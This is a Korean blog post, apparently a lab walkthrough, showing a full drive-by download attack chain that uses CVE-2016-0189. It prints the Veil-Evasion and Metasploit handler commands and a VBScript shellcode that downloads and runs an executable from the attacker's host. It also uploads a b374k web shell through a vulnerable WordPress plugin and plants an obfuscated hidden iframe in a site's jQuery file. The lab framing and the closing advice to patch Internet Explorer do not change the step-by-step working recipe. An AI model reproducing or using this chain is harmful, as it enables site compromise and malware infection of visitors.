안녕들 하시죠 !
이번시간에는 CVE-2016-0189 취약점을 이용한 사이트 방문만으로 악성코드가 다운되는 실습을 진행해보겠습니다.
얼마전 올린 글에서 사용한 기법들을 사용할텐데요.
Veil-Evasion, vbscript_gotmode.html, b374k 웹쉘 등 을 이용할 계획입니다.
우선 Veil-Evasion을 이용하여 백신에 탐지되지 않는 악성코드를 만들어보겠습니다.
지난 게시물에서 진행했던 부분이니 빠르게 넘어가겠습니다.
list
use 27
set LHOST [ 본인 kali ip ]
set LPORT [ 임의의 포트 ]
generate
악성코드 명 : messbox.exe
pyinstaller 1번을 선택하겠습니다.
messbox.exe을 /var/www apache의 경로로 복사해놓겠습니다.
cp /usr/share/veil-output/compiled/messbox.exe /var/www
msfconsole을 핸들러 경로로 실행시키겠습니다.
msfconsole -r /usr/share/veil-output/handlers/messbox_handler.rc
이 핸들러는 실습이 끝날때 까지 유지해야합니다 !
자, 이제 /var/www 경로에 있는 vbscript_godmode.html을 우클릭 하여 leafpad로 열겠습니다.
find 기능을 이용해 cmd 위치를 찾아주세요.
위에 화살표가 가리키고 있는 부분을 지우고 제 kali ip로 바꾸겠습니다.
http://192.168.0.29/messbox.exe
1
2
3
4
5
6
7
8
9
10
|
set shell=createobject("Shell.Application")
shell.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")
>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://[ 본인 Kali ip ]/messbox.exe"",false
>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@
echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@
echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@
echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@
echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@
echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@
echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
|
cs |
위에있는 쉘코드는 %TEMP% 폴더에 .vbs 파일을 작성하고 실행하도록 구성했고, 이 .vbs가 실행되면 웹 서버에서 악성코드 ( messbox.exe )
를 호출하여 다운로드하고, 실행하도록 구성되어 있습니다.
%TEMP% 폴더를 사용하는 이유는 UAC를 우회하기 위함입니다.
혹시 악성코드 명을 messbox가 아닌 다른걸로 하신분들은 이부분에서 본인 악성코드 명을 적어주세요.
그럼 아래있는 부분도 알아서 바뀝니다.
http://[ 본인 Kali ip ]/[ 본인 악성코드 명.exe ]
이제 wordpress에 관리자 권한으로 들어가 slideshow-gallery.1.4.6 plugin을 이용해 웹쉘을 업로드 해 보겠습니다.
slideshow-gallery.1.4.6 버전은 파일업로드 취약점을 가지고 있는데요.
필요하신 분들은 아래 파일을 받아서 사용하세요.
Slideshow -> Add New
찾아보기를 눌러 b374k 웹쉘을 업로드한 후 아래의 save slide를 누르겠습니다.
필터링을 하고 있지 않기에 이렇게 쉽게 업로드하였습니다.
아래 주황색으로 하이라이트 되어있는 부분을 보면 127.0.0.1/wordpress/wp-content/uploads/slideshow-gallery/8.php로 되어있는데요
업로드한 파일의 경로와 저장된 이름명이 임의의 8.php로 바뀌어있는 것을 알 수 있습니다.
Image 우클릭 -> 새 창에서 링크 열기 를 누르겠습니다.
웹쉘이 실행 되었습니다.
윗부분 입력란에 비밀번호 b374k를 입력하고 Go !를 누르시면 접속됩니다.
/var/www/html/wordpress/wp-includes/js/jquery/jquery-migrate.min.js 경로로 이동하겠습니다.
아래의 js를 난독화하여 추가해보겠습니다.
1
|
document.write("<iframe src='http://[ 본인 Kali ip ]/0189.html'width='0' height='0' frameboard='0'></iframe>");
|
cs |
Paste: 부분에 js를 복사 붙여넣기 하고 Base62 encode를 체크 후 Pack을 눌러 난독화를 시켰습니다.
Copy: 부분에 난독화되어진 코드를 복사하여 웹쉘로 돌아가겠습니다.
Actions의 edit을 눌러 편집해보겠습니다.
스크롤을 맨 아래로 내려 맨뒤에 난독화 코드를 붙여넣고 save ! 를 눌러 저장 후 빠져나오겠습니다.
kali로 돌아가 아까 작업했던 vbscript_godmode.html 을 0189.html로 이름만 수정해줍니다.
이제 피해자 PC에서 Ubuntu ( Wordpress ) 의 ip를 입력해 접속해보겠습니다.
TEMP 폴더는 파일탐색기의 경로창에 %TEMP%라고만 치시면 바로 나옵니다.
피해자 PC로 웹페이지를 들어가기만 했는데도 악성코드가 다운로드가 되었습니다.
중간에 오류가생겨 다른 vm으로 진행하느냐고 ip가 조금 다를 수 있습니다.
세션을 연결하여 migrate 까지 진행해봤습니다.
이러한 침투를 방지하려면 취약점이 있는 IE버전을 사용하지말고 항상 최신버전으로 업데이트 해주는게 제일 중요한 것 같습니다.
이번 실습은 내용도 많고 시간도 많이 걸린만큼 배운게 많았던 것 같습니다.
오늘은 여기까지입니다 감사합니다 !
'보안 > Web hacking' 카테고리의 다른 글
CVE-2016-0189 취약점을 이용한 Drive by download 실습 (2) | 2018.11.12 |
---|---|
크로스사이트 리퀘스트 변조 (0) | 2018.11.08 |
파일 업로드 취약점 (0) | 2018.11.08 |
Lord of SQL Injection 3번 풀이 (0) | 2018.11.07 |
Lord of SQL Injection 2번 풀이 (0) | 2018.11.07 |